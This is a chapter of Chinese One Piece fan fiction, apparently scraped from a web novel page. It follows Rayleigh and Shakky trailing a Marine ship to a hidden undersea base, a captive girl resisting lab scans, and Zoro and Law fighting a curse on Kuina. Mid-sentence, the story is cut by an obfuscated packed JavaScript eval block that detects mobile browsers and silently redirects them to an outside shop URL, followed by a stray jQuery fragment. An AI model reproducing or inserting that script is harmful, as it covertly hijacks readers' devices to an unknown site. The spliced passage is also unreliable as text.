拍卖会结束,暗流并未停歇。
雷利和夏琪悄无声息地离开了黄金王冠拍卖行,没有引起任何人注意。两人迅速褪去华丽的伪装,换回便于行动的深色便服,融入香波地群岛夜晚的阴影中。
“他们走三号通道,”夏琪耳朵上挂着一个微型接收器,低声道,“我提前在几个出口放了‘小礼物’。”她说的“小礼物”是特制的发信器,能附着在衣物或物品上,短距离内传输位置信号。
“走。”雷利言简意赅,身影如鬼魅般掠出。
三号通道连通着另一处更为隐蔽的港口,专为贵宾和特殊货物准备。等雷利二人赶到时,正好看到Dr.因佩尔、战桃丸,以及几名科学部队成员,正护送着那个装有银发少年的特制密封箱,登上一艘外表普通、但线条流畅、明显经过特殊改造的中型快艇。快艇没有悬挂任何旗帜,通体哑光黑色,在夜色中几乎与海水融为一体。
“要现在动手吗?”夏琪问,手指间已夹着几枚特制的钉子。
“不急,等他们离港,到海上。”雷利目光锐利,“港口人多眼杂,而且可能有拍卖行的后手。海上干净。”
快艇引擎发出低沉的嗡鸣,迅速驶离港口,融入茫茫夜色。雷利和夏琪早已登上了一艘提前准备好的、同样没有任何标识的小型快艇,远远吊在后面。雷利亲自掌舵,夏琪则盯着一个巴掌大的屏幕,上面一个红点稳定地闪烁着,正是前方快艇的位置。
“速度很快,航向……不是海军本部,也不是司法岛或推进城的方向。”夏琪看着海图,皱眉,“他们在向西北方向航行,那边是……无风带边缘?”
“无风带……”雷利眼神一凝。无风带是海王类的巢穴,对普通船只来说是禁区,但对某些特殊船只或强者而言,却是绝佳的隐蔽航线和捷径。科学部队的船,很可能拥有避开或驱赶海王类的技术。
“跟紧。看来这位博士副官的目的地,不是马林梵多。”雷利调整航向,小艇如同幽灵,紧紧咬住前方的信号。
海军本部,科学部队深层管控区,“静滞观察室”。
艾莉娅依旧被困在那灰色的、流动微光的“茧”中。时间感被彻底剥夺,只有永恒不变的微光和那低沉脉动。冰冷的感知触角无时无刻不在试图渗透她的身体和意识表层,记录着每一项数据。
她已经停止了主动引导和伪装,那太消耗精神。此刻,她将绝大部分意识沉入内部,观察、分析着体内两种力量的细微变化,并抵抗着暗金力量持续不断的侵蚀和低语。
“翠金”的部分,如同被厚厚冰层覆盖的森林,生机内敛,对外界的感知触角产生着温和但坚定的排斥,保护着她的核心。而“暗金”的部分,则像被封在冰层下的躁动岩浆,不断积蓄着热量和压力,每一次冲击封印,都让眉心的符文微微发烫。
“样本生命体征稳定,能量波动呈现规律性双峰形态,峰谷差值稳定……未检测到主动能量释放或精神抗拒迹象……”观察室外,汉斯博士紧盯着数块屏幕,上面滚动着密密麻麻的数据流和波形图,语气带着兴奋和一丝困惑,“太奇怪了……这种矛盾的生命形态是如何维持稳定的?那额头的符文结构……扫描结果如何?”
“符文结构解析进度17.8%,初步判断为高密度能量与未知信息编码的复合体,与‘历史正文’石质结构有0.3%的相似波形,但与恶魔果实纹路相似度低于0.01%。”一名研究员报告。
“历史正文……又是古代文字体系的变种吗?”汉斯博士喃喃道,“继续解析!能量来源追踪呢?”
“无法追踪具体源头。两种能量似乎都源于样本自身,但又与外界环境中某种……‘背景辐射’存在微弱共振。尤其是那暗色能量,共振频率与‘SSG计划’中第77号样本的残留波动有近似性,但纯度更高,排他性更强。”
“SSG-77……”汉斯博士眼中精光一闪,“那个来自古代遗迹的‘巨兽’骨髓提取物?有趣,太有趣了!看来这次,我们真的抓到了不得了的东西!立刻将初步分析报告,加密等级最高,发送给因佩尔大人和贝加庞克博士!”
“是!”
“另外,”汉斯博士舔了舔嘴唇,看向“茧”中艾莉娅平静的脸,眼中闪过一丝贪婪,“申请进行‘一级接触性刺激测试’,用最低强度的‘海楼石力场’和‘特定频率声波’,看看她的反应。我需要更‘主动’的数据!”
“博士,战国元帅的命令是……”
“命令是‘不得进行侵入性检测’!接触性刺激测试,属于非侵入性观察的延伸!为了科学,必须冒一点小小的风险!立刻申请!就说……目标状态异常稳定,适合进行基础应激性数据采集!”
“是……是!”
观察申请很快通过特殊加密频道发出。汉斯博士搓着手,眼睛死死盯着屏幕,等待着回复,如同等待猎物踏入陷阱的猎人。
茧中,艾莉娅似乎感应到了什么,眉心符文的温度,悄然升高了微不可查的一丝。
13号GR,安全屋。
时间在压抑的沉默和浓重的药味中流逝。赫伯特已经用尽了他带来的、以及从安全屋暗格里翻出的所有珍贵药材,调配出数种理论上能固本培元、驱邪扶正的药剂。罗小心翼翼地用点滴和特殊手法,将药液注入古伊娜体内,但效果微乎其微。那漆黑掌印如同最顽固的礁石,将所有试图靠近的治疗力量无声吞噬或排斥。
索隆维持着那个姿势已经很久。他的手一直握着古伊娜冰凉的手,另一只手搭在和道一文字上。他没有再说话,所有的意念、精神,都凝聚成最纯粹的“呼唤”与“牵引”,试图穿透那层“静滞”的阻隔,抵达古伊娜意识的最深处。
汗水浸湿了他的绿发和衣衫,但他浑然不觉。他的全部世界,只剩下掌心那微弱的脉搏,身旁黑刀秋水隐隐传来的古□□鸣,以及心中那团不灭的火焰——变强,守护,兑现约定,带她去看世界第一的风景。
突然,横放在古伊娜身侧的黑刀·秋水,毫无征兆地发出了一声清越的嗡鸣!漆黑的刀身上,那暗红色的锯齿纹路仿佛活了过来,流淌着微弱的光芒。
与此同时,索隆感觉到,自己覆盖在古伊娜手背上的手掌下,那冰冷的指尖,极其轻微地,动了一下。
这一次,不是错觉!
赫伯特和罗同时瞪大了眼睛。
索隆猛地睁开眼,赤红的眸子爆发出惊人的光芒,他更紧地握住了古伊娜的手,压抑着激动,低吼道:“古伊娜!听到吗?!我是索隆!给我醒过来!!”
古伊娜的睫毛,剧烈地颤动起来!她的嘴唇微微翕动,似乎想说什么,却发不出声音。但那苍白的脸上,眉心紧紧蹙起,仿佛在与某种无形的梦魇搏斗。
而她后背那漆黑的掌印中心,那深邃的黑暗,仿佛也感应到了什么,竟然如同活物般,蠕动了一下!
一股冰冷、邪恶、充满恶意的气息,瞬间从掌印中弥漫开来,让房间里的温度骤降!
“不好!”赫伯特脸色大变,“侵蚀被刺激到了!她的意志在反抗,但也惊动了那东西!快!稳住她!别让侵蚀反扑!”
罗毫不犹豫,双手泛起手术果实的微光,一个极小的“ROOM”瞬间展开,笼罩住古伊娜的后背,试图用“扫描”和“分离”的能力,暂时阻隔那突然活跃的侵蚀之力。
索隆额角青筋暴起,他不再仅仅是呼唤,而是将自身那锋利无匹的剑意、那守护的执念、那生死与共的羁绊,毫无保留地,如同出鞘的利剑,狠狠“刺”向古伊娜意识深处那片沉寂的黑暗!
“古伊娜——!!!”
无声的呐喊,在灵魂层面炸响!
嗡——!!!
黑刀秋水再次发出嗡鸣,而且更加剧烈!刀身之上,隐约浮现出一个模糊的、头戴斗笠的虚影,对着那漆黑的掌印,发出无声的咆哮!那是和之国的刀魂,斩龙武士龙马的意志残留,对邪恶之物的本能排斥与斩切之意!
在三重力量(索隆的剑心呼唤、罗的手术果实隔绝、秋水的刀魂共鸣)的作用下,古伊娜紧闭的眼皮之下,眼球开始急速转动!她喉咙里发出一声极其压抑的、仿佛濒死般的呜咽,然后——
“咳……!”
一口漆黑的、带着冰寒气息的淤血,猛地从她口中咳出!
淤血落在地上,竟然发出“嗤嗤”的声响,腐蚀了地板,冒起缕缕黑烟。
而古伊娜,在咳出这口淤血后,原本苍白如纸的脸色,竟然恢复了一丝极其微弱的血色!虽然依旧昏迷,但她的呼吸,明显比之前有力了那么一丝!后背的漆黑掌印,虽然依旧存在,但边缘那蠕动侵蚀的迹象,似乎暂时停止了。
“有效!”罗惊喜地低呼。
赫伯特也松了口气,但脸色依旧凝重:“只是暂时逼出了一点侵蚀的‘根须’,离拔除还差得远!而且这刺激太猛,她的身体和精神都承受不住,必须立刻补充元气!我们缺的,还是能补充本源、唤醒生机的‘药引’!必须尽快找到那‘活性原液’,或者其他类似的东西!否则下一次反噬,她未必撑得住!”
索隆缓缓松开了因为过度用力而有些颤抖的手,看着古伊娜脸上那微弱但确实存在的一丝生气,眼中的火焰燃烧得更加炽烈。
“我去找。”他声音沙哑,却斩钉截铁。
“你?”赫伯特看着他疲惫但锐利如刀的眼神,摇摇头,“你现在这样子,出去就是送死!而且你知道那东西在哪儿吗?”
索隆看向赫伯特,又看向罗,最后目光落在微微喘息、依旧没有醒来的古伊娜身上。
“雷利先生和夏琪女士,应该已经找到线索了。”他沉声道,“我需要做的,是去他们可能需要的地方。香波地群岛,能最快找到稀有药品和情报的地方,除了黑市,就是几个特定的酒吧和医馆。我去碰碰运气,总比在这里干等强。”
“我跟你去。”罗站起身,虽然脸色依旧苍白,但眼神坚定,“我的能力,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600236|202994||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在找人和处理伤势上能帮上忙。而且,你需要一个医生,你自己身上的伤也没好利索。”
索隆看着罗,没有拒绝,点了点头:“好。”
“你们两个……”赫伯特想阻止,但看到索隆眼中不容置疑的决心,和罗同样坚定的目光,最终叹了口气,从怀里摸索出一个皱巴巴的小本子,撕下一页,快速写下一个地址和几个名字,塞给索隆,“拿着!这是我以前在香波地混的时候知道的几个地方,可能有点线索。还有,小心点!别‘药引’没找到,把自己搭进去!”
索隆接过纸条,扫了一眼,郑重收起。“这里交给你了,老头。在我们回来前,别让她出事。”
“放心吧,拼了这条老命,我也再给她吊住几个小时!”赫伯特拍了拍干瘦的胸脯。
索隆最后深深看了一眼古伊娜,拿起和道一文字,将其与秋水一同背在身后(三代鬼彻在之前的战斗中损毁严重,暂时无法使用),对着罗一点头。
“走。”
两人不再耽搁,迅速离开了安全屋,消失在香波地群岛夜晚错综复杂的小巷中。
目标:寻找“药引”,或者任何能拯救古伊娜的希望。
无风带边缘,夜色如墨。
雷利和夏琪的快艇,如同阴影中的海兽,远远跟着前方那艘黑色快艇。对方似乎对自己的反追踪技术很有信心,航速一直保持稳定,航线也笔直地朝着无风带深处驶去。
“他们减速了。”夏琪盯着屏幕,忽然道。
果然,前方的黑色快艇速度慢了下来,似乎在寻找什么。片刻后,快艇停在了一片看似毫无异常的海面上。
紧接着,令人震惊的一幕发生了。
前方的海面,突然无声地裂开一个巨大的、规整的圆形缺口!海水被无形的力量排开,形成一个垂直向下的、直径超过五十米的巨大通道!通道内壁光滑,闪烁着金属的光泽,一直延伸到深海之下,看不到底。
黑色快艇调整方向,缓缓驶入了那个海中通道,然后,通道上方的海水如同有生命般,缓缓合拢,海面恢复平静,仿佛刚才的一切只是幻觉。
“海底基地……”雷利眼神凝重。他听说过海军在无风带可能有秘密基地,但亲眼见到还是第一次。这种直接在海底开门的科技,超出了普通船只的范畴。
“跟不进去。”夏琪摇头,她的发信器信号在通道闭合的瞬间就消失了,显然被屏蔽了。“现在怎么办?”
雷利看着那片恢复平静、深不见底的海面,沉默了几秒。
“等。”
“等?”
“他们会出来的。”雷利肯定地说,“那个戴眼镜的家伙,亲自出来接收‘钥匙’,不可能一直待在海底基地。他要么返回马林梵多汇报,要么去其他地方执行任务。而且……”他看向夏琪,“你之前截获的、从拍卖行发出的加密通讯,破译出什么了?”
夏琪从怀中取出一个微型录音装置,按下一个按钮。一个经过处理、但依旧能听出是Dr.因佩尔的声音片段断断续续传出:
“……‘钥匙’已确认接收,状态稳定,符合‘共鸣’标准……请求启动‘冥王’计划第三阶段……需要‘原液’和‘稳定剂’……贝加庞克博士的最新指示是……前往‘庞克禁区’汇合……”
“庞克禁区?”雷利皱眉,他从未听说过这个地方。
“是贝加庞克早年废弃的一个研究所,位于新世界某处气候异常的海域,据说后来被世界政府列为禁区。”夏琪显然做足了功课,“那里应该是他们的一个中转站或备用研究基地。‘原液’和‘稳定剂’……很可能就是我们要找的‘活性原液’,以及能帮助古伊娜稳定伤势的东西!”
“庞克禁区……”雷利重复了一遍这个名字,眼中闪过锐利的光芒,“知道具体位置吗?”
“大概方位有,但具体坐标不明,那片海域很诡异,磁场混乱,记录指针失效。”夏琪回答。
“足够了。”雷利看向那片吞噬了黑色快艇的海面,“等他们出来,我们跟上。去庞克禁区。那里,或许不仅有古伊娜需要的‘药引’,还有关于那个‘钥匙’少年,以及艾莉娅丫头身上秘密的答案。”
“至于现在,”雷利在快艇狭小的船舱里坐下,闭上了眼睛,“休息。养足精神。后面的路,不会太平。”
夏琪点了点头,也靠在一旁,但耳朵依旧微微动着,监听着海面的任何异常动静。
无风带的海面恢复了往日的死寂,只有远处海王类悠长的呼吸声隐约传来。但在这平静之下,通往“庞克禁区”的暗涌,已经开始流动。
艾莉娅在海军实验室的“茧”中抵抗着窥探;索隆和罗在夜色下的香波地寻找渺茫的希望;雷利和夏琪在无风带边缘,等待着狩猎的时机;而Dr.因佩尔带着“钥匙”,正驶向贝加庞克所在的、神秘而危险的“庞克禁区”。
所有人的命运之线,都朝着那个未知的、被称为“禁区”的海域,开始收拢。